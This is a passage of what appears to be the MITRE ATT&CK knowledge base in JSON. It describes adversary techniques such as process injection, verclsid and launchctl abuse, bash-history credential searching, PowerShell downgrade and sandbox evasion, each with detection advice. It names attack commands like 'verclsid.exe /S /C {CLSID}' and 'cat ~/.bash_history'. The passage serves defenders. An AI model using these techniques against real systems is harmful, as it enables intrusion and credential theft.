target process before invoking it via a new thread. The write can be performed with native Windows API calls such as <code>VirtualAllocEx</code> and <code>WriteProcessMemory</code>, then invoked with <code>CreateRemoteThread</code> or additional code (ex: shellcode). The displacement of the injected code does introduce the additional requirement for functionality to remap memory references. (Citation: Elastic Process Injection July 2017) \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via PE injection may also evade detection from security products since the execution is masked under a legitimate process. ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as <code>CreateRemoteThread</code> and those that can be used to modify memory within another process, such as <code>VirtualAllocEx</code>/<code>WriteProcessMemory</code>, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Modification","Process: OS API Execution","Process: Process Access"],"x_mitre_defense_bypassed":["Anti-virus","Application control"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rodrigo Garcia, Red Canary"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--808e6329-ca91-4b87-ac2d-8eadc5f8f327","type":"attack-pattern","created":"2020-08-10T13:59:38.443Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1218.012","url":"https://attack.mitre.org/techniques/T1218/012"},{"source_name":"WinOSBite verclsid.exe","url":"https://www.winosbite.com/verclsid-exe/ ","description":"verclsid-exe. (2019, December 17). verclsid.exe File Information - What is it & How to Block . Retrieved August 10, 2020."},{"source_name":"LOLBAS Verclsid","url":"https://lolbas-project.github.io/lolbas/Binaries/Verclsid/","description":"LOLBAS. (n.d.). Verclsid.exe. Retrieved August 10, 2020."},{"source_name":"Red Canary Verclsid.exe","url":"https://redcanary.com/blog/verclsid-exe-threat-detection/","description":"Haag, M., Levan, K. (2017, April 6). Old Phishing Attacks Deploy a New Methodology: Verclsid.exe. Retrieved August 10, 2020."},{"source_name":"BOHOPS Abusing the COM Registry","url":"https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/","description":"BOHOPS. (2018, August 18). Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques. Retrieved August 10, 2020."},{"source_name":"Nick Tyrer GitHub","url":"https://gist.github.com/NickTyrer/0598b60112eaafe6d07789f7964290d5","description":"Tyrer, N. (n.d.). Instructions. Retrieved August 10, 2020."}],"modified":"2022-03-11T20:44:27.809Z","name":"Verclsid","description":"Adversaries may abuse verclsid.exe to proxy execution of malicious code. Verclsid.exe is known as the Extension CLSID Verification Host and is responsible for verifying each shell extension before they are used by Windows Explorer or the Windows Shell.(Citation: WinOSBite verclsid.exe)\n\nAdversaries may abuse verclsid.exe to execute malicious payloads. This may be achieved by running <code>verclsid.exe /S /C {CLSID}</code>, where the file is referenced by a Class ID (CLSID), a unique identification number used to identify COM objects. COM payloads executed by verclsid.exe may be able to perform various malicious actions, such as loading and executing COM scriptlets (SCT) from remote servers (similar to [Regsvr32](https://attack.mitre.org/techniques/T1218/010)). Since the binary may be signed and/or native on Windows systems, proxying execution via verclsid.exe may bypass application control solutions that do not account for its potential abuse.(Citation: LOLBAS Verclsid)(Citation: Red Canary Verclsid.exe)(Citation: BOHOPS Abusing the COM Registry)(Citation: Nick Tyrer GitHub) ","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Use process monitoring to monitor the execution and arguments of verclsid.exe. Compare recent invocations of verclsid.exe with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Command arguments used before and after the invocation of verclsid.exe may also be useful in determining the origin and purpose of the payload being executed. Depending on the environment, it may be unusual for verclsid.exe to have a parent process of a Microsoft Office product. It may also be unusual for verclsid.exe to have any child processes or to make network connections or file modifications.","x_mitre_is_subtechnique":true,"x_mitre_version":"2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation"],"x_mitre_defense_bypassed":["Application control","Digital Certificate Validation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--81033c3b-16a4-46e4-8fed-9b030dd03c4a","type":"attack-pattern","created":"2020-10-01T01:17:15.965Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1586","url":"https://attack.mitre.org/techniques/T1586"},{"source_name":"AnonHBGary","description":"Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.","url":"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"}],"modified":"2021-10-16T17:15:12.428Z","name":"Compromise Accounts","description":"Adversaries may compromise accounts with services that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating accounts (i.e. [Establish Accounts](https://attack.mitre.org/techniques/T1585)), adversaries may compromise existing accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Compromised accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries may directly leverage compromised email accounts for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Content","Persona: Social Media"]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--810aa4ad-61c9-49cb-993f-daa06199421d","type":"attack-pattern","created":"2020-03-10T18:26:56.187Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1569.001","url":"https://attack.mitre.org/techniques/T1569/001"},{"source_name":"Launchctl Man","url":"https://ss64.com/osx/launchctl.html","description":"SS64. (n.d.). launchctl. Retrieved March 28, 2020."},{"url":"https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/","description":"Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.","source_name":"Sofacy Komplex Trojan"},{"source_name":"20 macOS Common Tools and Techniques","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021."}],"modified":"2021-10-15T18:40:23.141Z","name":"Launchctl","description":"Adversaries may abuse launchctl to execute commands or programs. Launchctl interfaces with launchd, the service management framework for macOS. Launchctl supports taking subcommands on the command-line, interactively, or even redirected from standard input.(Citation: Launchctl Man)\n\nAdversaries use launchctl to execute commands and programs as [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s. Common subcommands include: <code>launchctl load</code>,<code>launchctl unload</code>, and <code>launchctl start</code>. Adversaries can use scripts or manually run the commands <code>launchctl load -w \"%s/Library/LaunchAgents/%s\"</code> or <code>/bin/launchctl load</code> to execute [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s.(Citation: Sofacy Komplex Trojan)(Citation: 20 macOS Common Tools and Techniques)\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_detection":"Every Launch Agent and Launch Daemon must have a corresponding plist file on disk which can be monitored. Monitor for recently modified or created plist files with a significant change to the executable path executed with the command-line <code>launchctl</code> command. Plist files are located in the root, system, and users <code>/Library/LaunchAgents</code> or <code>/Library/LaunchDaemons</code> folders. \n\nMonitor command-line execution of the <code>launchctl</code> command immediately followed by abnormal network connections. [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s with executable paths pointing to <code>/tmp</code> and <code>/Shared</code> folders locations are potentially suspicious. \n\nWhen removing [Launch Agent](https://attack.mitre.org/techniques/T1543/001)s or [Launch Daemon](https://attack.mitre.org/techniques/T1543/004)s ensure the services are unloaded prior to deleting plist files.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Service: Service Creation","Process: Process Creation","File: File Modification","Command: Command Execution"],"x_mitre_permissions_required":["User","root"]},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--810d8072-afb6-4a56-9ee7-86379ac4a6f3","created":"2020-10-01T00:58:35.269Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1584.005","url":"https://attack.mitre.org/techniques/T1584/005"},{"source_name":"Dell Dridex Oct 2015","url":"https://www.secureworks.com/research/dridex-bugat-v5-botnet-takeover-operation","description":"Dell SecureWorks Counter Threat Unit Threat Intelligence. (2015, October 13). Dridex (Bugat v5) Botnet Takeover Operation. Retrieved May 31, 2019."},{"source_name":"Imperva DDoS for Hire","url":"https://www.imperva.com/learn/ddos/booters-stressers-ddosers/","description":"Imperva. (n.d.). Booters, Stressers and DDoSers. Retrieved October 4, 2020."},{"source_name":"Norton Botnet","url":"https://us.norton.com/internetsecurity-malware-what-is-a-botnet.html","description":"Norton. (n.d.). What is a botnet?. Retrieved October 4, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may compromise numerous third-party systems to form a botnet that can be used during targeting. A botnet is a network of compromised systems that can be instructed to perform coordinated tasks.(Citation: Norton Botnet) Instead of purchasing/renting a botnet from a booter/stresser service, adversaries may build their own botnet by compromising numerous third-party systems.(Citation: Imperva DDoS for Hire) Adversaries may also conduct a takeover of an existing botnet, such as redirecting bots to adversary-controlled C2 servers.(Citation: Dell Dridex Oct 2015) With a botnet at their disposal, adversaries may perform follow-on activity such as large-scale [Phishing](https://attack.mitre.org/techniques/T1566) or Distributed Denial of Service (DDoS).","modified":"2022-04-19T15:55:58.319Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Botnet","x_mitre_detection":"Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during [Phishing](https://attack.mitre.org/techniques/T1566), [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499), or [Network Denial of Service](https://attack.mitre.org/techniques/T1498).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":[],"x_mitre_system_requirements":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--818302b2-d640-477b-bf88-873120ce85c4","created":"2020-10-20T00:09:33.072Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1059.008","url":"https://attack.mitre.org/techniques/T1059/008"},{"source_name":"Cisco IOS Software Integrity Assurance - Command History","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."},{"source_name":"Cisco Synful Knock Evolution","url":"https://blogs.cisco.com/security/evolution-of-attacks-on-cisco-ios-devices","description":"Graham Holmes. (2015, October 8). Evolution of attacks on Cisco IOS devices. Retrieved October 19, 2020."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may abuse scripting or built-in command line interpreters (CLI) on network devices to execute malicious command and payloads. The CLI is the primary means through which users and administrators interact with the device in order to view system information, modify device operations, or perform diagnostic and administrative functions. CLIs typically contain various permission levels required for different commands. \n\nScripting interpreters automate tasks and extend functionality beyond the command set included in the network OS. The CLI and scripting interpreter are accessible through a direct console connection, or through remote means, such as telnet or [SSH](https://attack.mitre.org/techniques/T1021/004).\n\nAdversaries can use the network CLI to change how network devices behave and operate. The CLI may be used to manipulate traffic flows to intercept or manipulate data, modify startup configuration parameters to load malicious system software, or to disable security features or logging to avoid detection.(Citation: Cisco Synful Knock Evolution)","modified":"2022-04-19T20:28:09.848Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Network Device CLI","x_mitre_detection":"Consider reviewing command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration.(Citation: Cisco IOS Software Integrity Assurance - Command History)\n\nConsider comparing a copy of the network device configuration against a known-good version to discover unauthorized changes to the command interpreter. The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_remote_support":true,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--8187bd2a-866f-4457-9009-86b0ddedffa3","type":"attack-pattern","created":"2020-02-04T13:02:11.685Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1552.003","url":"https://attack.mitre.org/techniques/T1552/003"},{"url":"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.","source_name":"External to DA, the OS X Way"}],"modified":"2022-03-08T21:34:44.728Z","name":"Bash History","description":"Adversaries may search the bash command history on compromised systems for insecurely stored credentials. Bash keeps track of the commands users type on the command-line with the \"history\" utility. Once a user logs out, the history is flushed to the user’s <code>.bash_history</code> file. For each user, this file resides at the same location: <code>~/.bash_history</code>. Typically, this file keeps track of the user’s last 500 commands. Users often type usernames and passwords on the command-line as parameters to programs, which then get saved to this file when they log out. Adversaries can abuse this by looking through the file for potential credentials. (Citation: External to DA, the OS X Way)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitoring when the user's <code>.bash_history</code> is read can help alert to suspicious activity. While users do typically rely on their history of commands, they often access this history through other utilities like \"history\" instead of commands like <code>cat ~/.bash_history</code>.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Access","Command: Command Execution"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","Linux","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Mayuresh Dani, Qualys","Daniel Feichter, @VirtualAllocEx, Infosec Tirol","Krishnan Subramanian, @krish203","Vinay Pidathala"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--824add00-99a1-4b15-9a2d-6c5683b7b497","created":"2021-10-08T14:06:28.212Z","x_mitre_version":"1.1","external_references":[{"source_name":"mitre-attack","external_id":"T1562.010","url":"https://attack.mitre.org/techniques/T1562/010"},{"source_name":"CrowdStrike BGH Ransomware 2021","url":"https://www.crowdstrike.com/blog/how-falcon-complete-stopped-a-big-game-hunting-ransomware-attack/","description":"Falcon Complete Team. (2021, May 11). Response When Minutes Matter: Rising Up Against Ransomware. Retrieved October 8, 2021."},{"source_name":"att_def_ps_logging","url":"https://nsfocusglobal.com/attack-and-defense-around-powershell-event-logging/","description":"Hao, M. (2019, February 27). Attack and Defense Around PowerShell Event Logging. Retrieved November 24, 2021."},{"source_name":"inv_ps_attacks","url":"https://powershellmagazine.com/2014/07/16/investigating-powershell-attacks/","description":"Hastings, M. (2014, July 16). Investigating PowerShell Attacks. Retrieved December 1, 2021."},{"source_name":"Mandiant BYOL 2018","url":"https://www.mandiant.com/resources/bring-your-own-land-novel-red-teaming-technique","description":"Kirk, N. (2018, June 18). Bring Your Own Land (BYOL) – A Novel Red Teaming Technique. Retrieved October 8, 2021."},{"source_name":"Praetorian TLS Downgrade Attack 2014","url":"https://www.praetorian.com/blog/man-in-the-middle-tls-ssl-protocol-downgrade-attack/","description":"Praetorian. (2014, August 19). Man-in-the-Middle TLS Protocol Downgrade Attack. Retrieved October 8, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may downgrade or use a version of system features that may be outdated, vulnerable, and/or does not support updated security controls such as logging. For example, [PowerShell](https://attack.mitre.org/techniques/T1059/001) versions 5+ includes Script Block Logging (SBL) which can record executed script content. However, adversaries may attempt to execute a previous version of PowerShell that does not support SBL with the intent to [Impair Defenses](https://attack.mitre.org/techniques/T1562) while running malicious scripts that may have otherwise been detected.(Citation: CrowdStrike BGH Ransomware 2021)(Citation: Mandiant BYOL 2018)(Citation: att_def_ps_logging)\n\nAdversaries may downgrade and use less-secure versions of various features of a system, such as [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s or even network protocols that can be abused to enable [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557).(Citation: Praetorian TLS Downgrade Attack 2014)","modified":"2022-04-20T17:20:26.830Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Downgrade Attack","x_mitre_detection":"Monitor for commands or other activity that may be indicative of attempts to abuse older or deprecated technologies (ex: <code>powershell –v 2</code>). Also monitor for other abnormal events, such as execution of and/or processes spawning from a version of a tool that is not expected in the environment.\n\nMonitor for Windows event ID (EID) 400, specifically the <code>EngineVersion</code> field which shows the version of PowerShell running and may highlight a malicious downgrade attack.(Citation: inv_ps_attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Creation","Process: Process Metadata","Command: Command Execution"],"x_mitre_system_requirements":[],"x_mitre_defense_bypassed":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Csaba Fitzl @theevilbit of Offensive Security"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--8252f135-ed26-4ce1-ae61-f26e94429a19","created":"2021-10-12T06:45:36.763Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1559.003","url":"https://attack.mitre.org/techniques/T1559/003"},{"source_name":"creatingXPCservices","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingXPCServices.html#//apple_ref/doc/uid/10000172i-SW6-SW1","description":"Apple. (2016, September 9). Creating XPC Services. Retrieved April 19, 2022."},{"source_name":"Designing Daemons Apple Dev","url":"https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/DesigningDaemons.html","description":"Apple. (n.d.). Retrieved October 12, 2021."},{"source_name":"CVMServer Vuln","url":"https://www.trendmicro.com/en_us/research/21/f/CVE-2021-30724_CVMServer_Vulnerability_in_macOS_and_iOS.html","description":"Mickey Jin. (2021, June 3). CVE-2021-30724: CVMServer Vulnerability in macOS and iOS. Retrieved October 12, 2021."},{"source_name":"Learn XPC Exploitation","url":"https://wojciechregula.blog/post/learn-xpc-exploitation-part-3-code-injections/","description":"Wojciech Reguła. (2020, June 29). Learn XPC exploitation. Retrieved October 12, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries can provide malicious content to an XPC service daemon for local code execution. macOS uses XPC services for basic inter-process communication between various processes, such as between the XPC Service daemon and third-party application privileged helper tools. Applications can send messages to the XPC Service daemon, which runs as root, using the low-level XPC Service <code>C API</code> or the high level <code>NSXPCConnection API</code> in order to handle tasks that require elevated privileges (such as network connections). Applications are responsible for providing the protocol definition which serves as a blueprint of the XPC services. Developers typically use XPC Services to provide applications stability and privilege separation between the application client and the daemon.(Citation: creatingXPCservices)(Citation: Designing Daemons Apple Dev)\n\nAdversaries can abuse XPC services to execute malicious content. Requests for malicious execution can be passed through the application's XPC Services handler.(Citation: CVMServer Vuln)(Citation: Learn XPC Exploitation) This may also include identifying and abusing improper XPC client validation and/or poor sanitization of input parameters to conduct [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).","modified":"2022-04-20T22:54:47.164Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"XPC Services","x_mitre_detection":"","kill_chain_phases":[{"phase_name":"execution","kill_chain_name":"mitre-attack"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Process: Process Access"],"x_mitre_system_requirements":[],"x_mitre_remote_support":false,"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows","macOS","Linux"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Deloitte Threat Library Team","Sunny Neo"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d","type":"attack-pattern","created":"2019-04-17T22:22:24.505Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1497","url":"https://attack.mitre.org/techniques/T1497"},{"source_name":"Deloitte Environment Awareness","url":"https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc","description":"Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved May 18, 2021."},{"source_name":"Unit 42 Pirpi July 2015","url":"https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/","description":"Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April 23, 2019."}],"modified":"2021-10-18T14:57:48.989Z","name":"Virtualization/Sandbox Evasion","description":"Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)\n\nAdversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_detection":"Virtualization, sandbox, user activity, and related discovery techniques will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to virtualization and sandbox identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection.","x_mitre_version":"1.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Process: Process Creation","Process: OS API Execution"],"x_mitre_defense_bypassed":["Anti-virus","Host forensic analysis","Signature-based detection","Static File Analysis"]},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Anastasios Pingios"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--830c9528-df21-472c-8c14-a036bf17d665","type":"attack-pattern","created":"2017-05-31T21:31:13.915Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1102","url":"https://attack.mitre.org/techniques/T1102"},{"url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf","description":"Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","source_name":"University of Birmingham C2"}],"modified":"2020-03-26T23:26:10.297Z","name":"Web Service","description":"Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system. Popular websites and social media acting as a mechanism for C2 may give a significant amount of cover due to the likelihood that hosts within a network are already communicating with them prior to a compromise. Using common services, such as those offered by Google or Twitter, makes it easier for adversaries to hide in expected noise. Web service providers commonly use SSL/TLS encryption, giving adversaries an added level of protection.\n\nUse of Web services may also protect back-end C2 infrastructure from discovery through malware binary analysis while also enabling operational resiliency (since this infrastructure may be dynamically changed).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Host data that can relate unknown or suspicious process activity using a network connection is important to supplement any existing indicators of compromise based on malware command and control signatures and infrastructure or the presence of strong encryption. Packet capture analysis will require SSL/TLS inspection if data is encrypted. Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). User behavior monitoring may help to detect abnormal patterns of activity.(Citation: University of Birmingham C2)","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation","Network Traffic: Network Traffic Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows","IaaS","Linux","macOS","Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Rory McCune, Aqua Security","Jay Chen, Palo Alto Networks","Yossi Weizman, Azure Defender Research Team","Vishwas Manral, McAfee","Microsoft Threat Intelligence Center (MSTIC)"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc","type":"attack-pattern","created":"2020-02-04T12:52:13.006Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1552.001","url":"https://attack.mitre.org/techniques/T1552/001"},{"external_id":"CAPEC-639","source_name":"capec","url":"https://capec.mitre.org/data/definitions/639.html"},{"url":"http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html","description":"CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014.","source_name":"CG 2014"},{"url":"http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx","description":"Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.","source_name":"SRD GPP"},{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New 